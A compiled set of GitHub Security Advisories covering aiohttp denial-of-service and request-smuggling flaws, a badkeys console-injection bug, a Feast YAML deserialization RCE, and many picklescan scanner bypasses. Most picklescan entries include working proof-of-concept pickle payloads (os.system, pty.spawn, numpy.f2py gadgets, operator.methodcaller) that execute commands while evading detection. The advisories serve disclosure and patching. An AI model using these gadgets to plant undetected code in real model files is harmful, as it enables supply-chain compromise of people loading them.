deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-g84x-mcqj-x9qq
Package: aiohttp (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: <= 3.13.2
Patched in: 3.13.3

Summary: AIOHTTP vulnerable to DoS through chunked messages

Details:
### Summary

Handling of chunked messages can result in excessive blocking CPU usage when receiving a large number of chunks.

### Impact

If an application makes use of the `request.read()` method in an endpoint, it may be possible for an attacker to cause the server to spend a moderate amount of blocking CPU time (e.g. 1 second) while processing the request. This could potentially lead to DoS as the server would be unable to handle other requests during that time.

-----

Patch: https://github.com/aio-libs/aiohttp/commit/dc3170b56904bdf814228fae70a5501a42a6c712
Patch: https://github.com/aio-libs/aiohttp/commit/4ed97a4e46eaf61bd0f05063245f[PII_REDACTED]29
GitHub Security Advisory: GHSA-6jhg-hg63-jvvf
Package: aiohttp (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: <= 3.13.2
Patched in: 3.13.3

Summary: AIOHTTP vulnerable to  denial of service through large payloads

Details:
### Summary
A request can be crafted in such a way that an aiohttp server's memory fills up uncontrollably during processing.

### Impact
If an application includes a handler that uses the `Request.post()` method, an attacker may be able to freeze the server by exhausting the memory.

-----

Patch: https://github.com/aio-libs/aiohttp/commit/b7dbd35375aedbcd712cbae8ad513d56d11cce60
GitHub Security Advisory: GHSA-jj3x-wxrx-4x23
Package: aiohttp (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')
Vulnerable versions: <= 3.13.2
Patched in: 3.13.3

Summary: AIOHTTP vulnerable to DoS when bypassing asserts

Details:
### Summary
When assert statements are bypassed, an infinite loop can occur, resulting in a DoS attack when processing a POST body.

### Impact
If optimisations are enabled (`-O` or `PYTHONOPTIMIZE=1`), and the application includes a handler that uses the `Request.post()` method, then an attacker may be able to execute a DoS attack with a specially crafted message.

------

Patch: https://github.com/aio-libs/aiohttp/commit/bc1319ec3cbff9438a758951a30907b072561259
GitHub Security Advisory: GHSA-54jq-c3m8-4m76
Package: aiohttp (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-202: Exposure of Sensitive Information Through Data Queries
Vulnerable versions: <= 3.13.2
Patched in: 3.13.3

Summary: AIOHTTP vulnerable to brute-force leak of internal static ﬁle path components

Details:
### Summary
Path normalization for static files prevents path traversal, but opens up the ability for an attacker to ascertain the
existence of absolute path components.

### Impact
If an application uses `web.static()` (not recommended for production deployments), it may be possible for an attacker to ascertain the existence of path components.

------

Patch: https://github.com/aio-libs/aiohttp/commit/f2a86fd5ac0383000d1715afddfa704413f0711e
GitHub Security Advisory: GHSA-mqqc-3gqh-h2x8
Package: aiohttp (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Vulnerable versions: <= 3.13.2
Patched in: 3.13.3

Summary: AIOHTTP has unicode match groups in regexes for ASCII protocol elements

Details:
### Summary

The parser allows non-ASCII decimals to be present in the Range header.

### Impact

There is no known impact, but there is the possibility that there's a method to exploit a request smuggling vulnerability.

----

Patch: https://github.com/aio-libs/aiohttp/commit/c7b7a044f88c71cefda95ec75cdcfaa4792b3b96
GitHub Security Advisory: GHSA-69f9-5gxw-wvc2
Package: aiohttp (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Vulnerable versions: <= 3.13.2
Patched in: 3.13.3

Summary: AIOHTTP's unicode processing of header values could cause parsing discrepancies

Details:
### Summary
The Python HTTP parser may allow a request smuggling attack with the presence of non-ASCII characters.

### Impact
If a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or AIOHTTP_NO_EXTENSIONS is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections.

------

Patch: https://github.com/aio-libs/aiohttp/commit/32677f2adfd907420c078dda6b79225c6f4ebce0
GitHub Security Advisory: GHSA-6mq8-rvhq-8wgg
Package: aiohttp (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-409: Improper Handling of Highly Compressed Data (Data Amplification), CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: <= 3.13.2
Patched in: 3.13.3

Summary: AIOHTTP's HTTP Parser auto_decompress feature is vulnerable to zip bomb

Details:
### Summary
A zip bomb can be used to execute a DoS against the aiohttp server.

### Impact
An attacker may be able to send a compressed request that when decompressed by aiohttp could exhaust the host's memory.

------

Patch: https://github.com/aio-libs/aiohttp/commit/2b920c39002cee0ec5b402581779bbaaf7c9138a
GitHub Security Advisory: GHSA-wjpc-4f29-83h3
Package: badkeys (PIP)
Severity: LOW (CVSS 0.0)
CWE: CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences
Vulnerable versions: <= 0.0.15
Patched in: 0.0.16

Summary: badkeys vulnerable to ASCII control character injection on console via malformed input

Details:
### Impact

An attacker may inject content with ASCII control characters like vertical tabs, ANSI escape sequences, etc., that can create misleading output of the `badkeys` command-line tool. This impacts scanning DKIM keys (both `--dkim` and `--dkim-dns`), SSH keys (`--ssh-lines` mode), and filenames in various modes.

### Patches

This has been fixed with the following commits:
https://github.com/badkeys/badkeys/commit/de631f69f040974bb5fb442cdab9a1d904c64087
https://github.com/badkeys/badkeys/commit/635a2f3b1b50a895d8b09ec8629efc06189f349a

All users should upgrade `badkeys` to version 0.0.16.

### Resources

https://github.com/badkeys/badkeys/issues/40
GitHub Security Advisory: GHSA-34wm-4hw7-qfjv
Package: feast (PIP)
Severity: HIGH (CVSS 7.8)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: < 0.54.0
Patched in: 0.54.0

Summary: Feast vulnerable to Deserialization of Untrusted Data

Details:
A high-severity remote code execution vulnerability exists in feast-dev/feast version 0.53.0, specifically in the Kubernetes materializer job located at `feast/sdk/python/feast/infra/compute_engines/kubernetes/main.py`. The vulnerability arises from the use of `yaml.load(..., Loader=yaml.Loader)` to deserialize `/var/feast/feature_store.yaml` and `/var/feast/materialization_config.yaml`. This method allows for the instantiation of arbitrary Python objects, enabling an attacker with the ability to modify these YAML files to execute OS commands on the worker pod. This vulnerability can be exploited before the configuration is validated, potentially leading to cluster takeover, data poisoning, and supply-chain sabotage.
GitHub Security Advisory: GHSA-46h3-79wf-xr6c
Package: picklescan (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-502: Deserialization of Untrusted Data
Vulnerable versions: < 0.0.34
Patched in: 0.0.34

Summary: Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter

Details:
### Summary
Picklescan uses _operator.attrgetter, which is a built-in python library function to execute remote pickle files.

### Details
The attack payload executes in the following steps:

- First, the attacker crafts the payload by calling the _operator.attrgetter function in the reduce method.
- Then, when the victim, after checking whether the pickle file is safe by using the Picklescan library and finding that this library doesn't detect any dangerous functions, decides to call pickle.load() on this malicious pickle file, it leads to remote code execution.

### PoC
```
import pickle
import pickletools
opcode3 = b'''cbuiltins
__import__
(Vos
tRp0
0c_operator
attrgetter
(Vsystem
tR(g0
tR(Vecho "pwned by _operator.attrgetter"
tR.'''
pickletools.dis(opcode3)
pickle.loads(opcode3)
```
This PoC can't be easily create by pickle.dumps, so it was manually built. 

### Impact
Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Report by
Pinji Chen (cpj24@mails.tsinghua.edu.cn) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).
GitHub Security Advisory: GHSA-955r-x9j8-7rhh
Package: picklescan (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-502: Deserialization of Untrusted Data
Vulnerable versions: < 0.0.34
Patched in: 0.0.34

Summary: Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.methodcaller

Details:
### Summary
Picklescan uses  _operator.methodcaller, which is a built-in python library function to execute remote pickle files.

### Details
The attack payload executes in the following steps:

- First, the attacker crafts the payload by calling to _operator.methodcaller function in reduce method
- Then when after the victim after checks whether or not the pickle file is safe by using Picklescan library and the library doesn't dectect any dangerous functions, pickle.load()  loads this malicious pickle file, thus lead to remote code execution.

### PoC
```
import pickle
import pickletools
opcode2 = b'''cbuiltins
__import__
(Vos
tRp0
0c_operator
methodcaller
(Vsystem
Vecho "pwned by _operator.methodcaller"
tR(g0
tR.'''
pickletools.dis(opcode2)
pickle.loads(opcode2)
```
This PoC can't be easily create by pickle.dumps, so it was manually built. 

### Impact
Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Report by
Pinji Chen (cpj24@mails.tsinghua.edu.cn) from NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).
GitHub Security Advisory: GHSA-6556-fwc2-fg2p
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-502: Deserialization of Untrusted Data
Vulnerable versions: < 0.0.33
Patched in: 0.0.33

Summary: Picklescan is vulnerable to RCE through missing detection when calling numpy.f2py.crackfortran._eval_length

Details:
### Summary

Picklescan uses the `numpy.f2py.crackfortran._eval_length` function (a NumPy F2PY helper) to execute arbitrary Python code during unpickling.

### Details

Picklescan fails to detect a malicious pickle that uses the gadget `numpy.f2py.crackfortran._eval_length` in `__reduce__`, allowing arbitrary command execution when the pickle is loaded. A crafted object returns this function plus attacker‑controlled arguments; the scan reports the file as safe, but pickle.load() triggers execution.

### PoC
```python
class PoC:
    def __reduce__(self):
        from numpy.f2py.crackfortran import _eval_length
        return _eval_length, ("__import__('os').system('whoami')", None)
```

### Impact

- Arbitrary code execution on the victim machine once they load the “scanned as safe” pickle / model file.
- Affects any workflow relying on Picklescan to vet untrusted pickle / PyTorch artifacts.
- Enables supply‑chain poisoning of shared model files.

### Credits
- [ac0d3r](https://github.com/ac0d3r)
- [Tong Liu](https://lyutoon.github.io), Institute of information engineering, CAS
GitHub Security Advisory: GHSA-rrxm-2pvv-m66x
Package: picklescan (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-502: Deserialization of Untrusted Data
Vulnerable versions: < 0.0.33
Patched in: 0.0.33

Summary: Picklescan is vulnerable to RCE via missing detection when calling numpy.f2py.crackfortran.getlincoef

Details:
### Summary

Picklescan uses the `numpy.f2py.crackfortran.getlincoef` function (a NumPy F2PY helper) to execute arbitrary Python code during unpickling.

### Details

Picklescan fails to detect a malicious pickle that uses the gadget `numpy.f2py.crackfortran.getlincoef` in `__reduce__`, allowing arbitrary command execution when the pickle is loaded. A crafted object returns this function plus attacker‑controlled arguments; the scan reports the file as safe, but pickle.load() triggers execution.

### PoC
```python
class PoC:
    def __reduce__(self):
        from numpy.f2py.crackfortran import getlincoef
        return getlincoef, ("__import__('os').system('whoami')", None)
```

### Impact

- Arbitrary code execution on the victim machine once they load the “scanned as safe” pickle / model file.
- Affects any workflow relying on Picklescan to vet untrusted pickle / PyTorch artifacts.
- Enables supply‑chain poisoning of shared model files.

### Credits
- [ac0d3r](https://github.com/ac0d3r)
- [Tong Liu](https://lyutoon.github.io), Institute of information engineering, CAS
GitHub Security Advisory: GHSA-cffc-mxrf-mhh4
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-502: Deserialization of Untrusted Data
Vulnerable versions: < 0.0.33
Patched in: 0.0.33

Summary: Picklescan is vulnerable to RCE via missing detection when calling numpy.f2py.crackfortran.param_eval

Details:
### Summary
Picklescan uses numpy.f2py.crackfortran.param_eval, which is a function in numpy to execute remote pickle files.

### Details
The attack payload executes in the following steps:

- First, the attacker crafts the payload by calling the numpy.f2py.crackfortran.param_eval function via reduce method.
- Then, when the victim checks whether the pickle file is safe by using the Picklescan library and this library doesn't detect any dangerous functions, they decide to use pickle.load() on this malicious pickle file, thus leading to remote code execution.


### PoC
```
class RCE:
    def __reduce__(self):
        from numpy.f2py.crackfortran import param_eval
        return (param_eval,("os.system('ls')",None,None,None))
```


### Impact
Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Report by
Pinji Chen (cpj24@mails.tsinghua.edu.cn) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).
GitHub Security Advisory: GHSA-3329-ghmp-jmv5
Package: picklescan (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: < 0.0.33
Patched in: 0.0.33

Summary: Picklescan is vulnerable to RCE through missing detection when calling numpy.f2py.crackfortran.myeval

Details:
### Summary
Picklescan uses numpy.f2py.crackfortran.myeval, which is a function in numpy to execute remote pickle files.

### Details
The attack payload executes in the following steps:

- First, the attacker crafts the payload by calling the numpy.f2py.crackfortran.myeval function in its reduce method
- Then, when the victim checks whether the pickle file is safe by using the Picklescan library and this library doesn't detect any dangerous functions, they decide to use pickle.load() on this malicious pickle file, thus leading to remote code execution.

### PoC
```
class RCE:
    def __reduce__(self):
        from numpy.f2py.crackfortran import myeval
        return (myeval, ("os.system('ls')",))
```


### Impact
Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Report by
Pinji Chen (cpj24@mails.tsinghua.edu.cn) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).
GitHub Security Advisory: GHSA-x843-g5mx-g377
Package: picklescan (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-502: Deserialization of Untrusted Data
Vulnerable versions: < 0.0.33
Patched in: 0.0.33

Summary: Picklescan is vulnerable to RCE through missing detection when calling built-in python operator.methodcaller

Details:
### Summary
Picklescan uses `operator.methodcaller`, which is a built-in python library function to execute remote pickle files.

### Details
The attack payload executes in the following steps:

- First, the attacker crafts the payload by calling the `operator.methodcaller` function in method `reduce`.
- Then, when the victim checks whether the pickle file is safe using the Picklescan library and this library doesn't detect any dangerous functions, they decide to use pickle.load() on this malicious pickle file, thus leading to remote code execution.

### PoC
```
import pickle
import pickletools
opcode1 = b'''cbuiltins
__import__
(Vos
tRp0
0coperator
methodcaller
(Vsystem
Vecho "pwned by operator.methodcaller"
tR(g0
tR.'''
pickletools.dis(opcode1)
pickle.loads(opcode1)
```
This PoC can't be easily created by pickle.dumps, therefore it was manually built. 

### Impact
Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Report by
Pinji Chen (cpj24@mails.tsinghua.edu.cn) from the NISL lab (https://netsec.ccert.edu.cn/about) at Tsinghua University, Guanheng Liu (coolwind326@gmail.com).
GitHub Security Advisory: GHSA-r8g5-cgf2-4m4m
Package: picklescan (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: < 0.0.33
Patched in: 0.0.33

Summary: Picklescan missing detection when calling numpy.f2py.crackfortran.getlincoef

Details:
### Summary

An unsafe deserialization vulnerability allows an attacker to execute arbitrary code on the host when loading a malicious pickle payload from an untrusted source.

### Details

The `numpy.f2py.crackfortran` module exposes many functions that call `eval` on arbitrary strings of values. This is the case for `getlincoef` and `_eval_length`. This list is probably not exhaustive.

According to https://numpy.org/doc/stable/reference/security.html#advice-for-using-numpy-on-untrusted-data, the whole `numpy.f2py` should be considered unsafe when loading a pickle.

### PoC

```python
from numpy.f2py.crackfortran import getlincoef

class EvilClass:
    def __reduce__(self):
        payload = "__import__('os').system('echo \"successful attack\"')"
        return getlincoef, (payload, [])
```

### Impact

Who is impacted? Any organization or individual relying on `picklescan` to detect malicious pickle files from untrusted sources.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Note

The problem was originally reported to the joblib project, but this was deemed unrelated to joblib itself. However, I checked that `picklescan` was indeed vulnerable.
GitHub Security Advisory: GHSA-vqmv-47xg-9wpr
Package: picklescan (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: < 0.0.33
Patched in: 0.0.33

Summary: Picklescan missing detection when calling pty.spawn

Details:
### Summary
Using pty.spawn, which is a built-in python library function to execute arbitrary commands on the host system.

### Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to `pty.spawn` function in the `__reduce__` method. Then the victim attempts to use picklescan to scan the pickle file for issues and sees this -
```
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Dangerous globals: 0
```
The victim proceeds to load the pickle file and execute attacker-injected arbitrary code.

### PoC
```
class PtyExploit:
  def __reduce__(self):
    return (pty.spawn, (["/bin/sh", "-c", "id; exit"],))
```

### Impact
**Who is impacted?** Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
**What is the impact?** Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
**Supply Chain Attack**: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Collaborators
https://github.com/ajohnston9
https://github.com/geo-lit
GitHub Security Advisory: GHSA-84r2-jw7c-4r5q
Package: picklescan (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-184: Incomplete List of Disallowed Inputs
Vulnerable versions: < 0.0.33
Patched in: 0.0.33

Summary: Picklescan has Incomplete List of Disallowed Inputs

Details:
### Summary
Currently picklescanner only blocks some specific functions of the pydoc and operator modules. Attackers can use other functions within these allowed modules to go through undetected and achieve RCE on the final user. Particularly
* pydoc.locate: Can dynamically resolve and import arbitrary modules (e.g., resolving the string "os" to the actual os module).
* operator.methodcaller: Allows executing a method on an object. When combined with a resolved module object, it can execute functions like system.

Since locate and methodcaller are not explicitly listed in the deny-list, picklescan treats them as "Safe" or "Suspicious" (depending on configuration) but does not flag them as "Dangerous", allowing the malicious file to bypass the security check.

### PoC

use the provided script to create a malicious pickle file 

```python
import pickle
import pydoc
import operator
import os

class ModuleLocator:
    def __init__(self, module_name):
        self.module_name = module_name
        
    def __reduce__(self):
        return (pydoc.locate, (self.module_name,))

class RCEPayload:
    def __reduce__(self):
        
        cmd = "notepad" #put your payload here
        
        mc = operator.methodcaller("system", cmd)
        return (mc, (ModuleLocator("os"),))

def generate_exploit():
    payload = RCEPayload()
    
    try:
        with open("bypass.pkl", "wb") as f:
            f.write(pickle.dumps(payload))
        print("File 'bypass.pkl' created.")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    generate_exploit()
```

The generated payload will not be flagged as dangerous by picklescan but is actually malicious. 

```python
import pickle
print("Loading bypass.pkl...")
pickle.load(open("bypass.pkl", "rb"))
```

Script to open the pickle file, demonstrating impact

<img width="746" height="341" alt="image" src="https://github.com/user-attachments/assets/2be1b8f9-d467-408d-b1cf-d40b49100cf0" />


### Remediation
The deny-list for these modules must be upgraded from specific functions to a wildcard (*), indicating that any use of these modules is dangerous.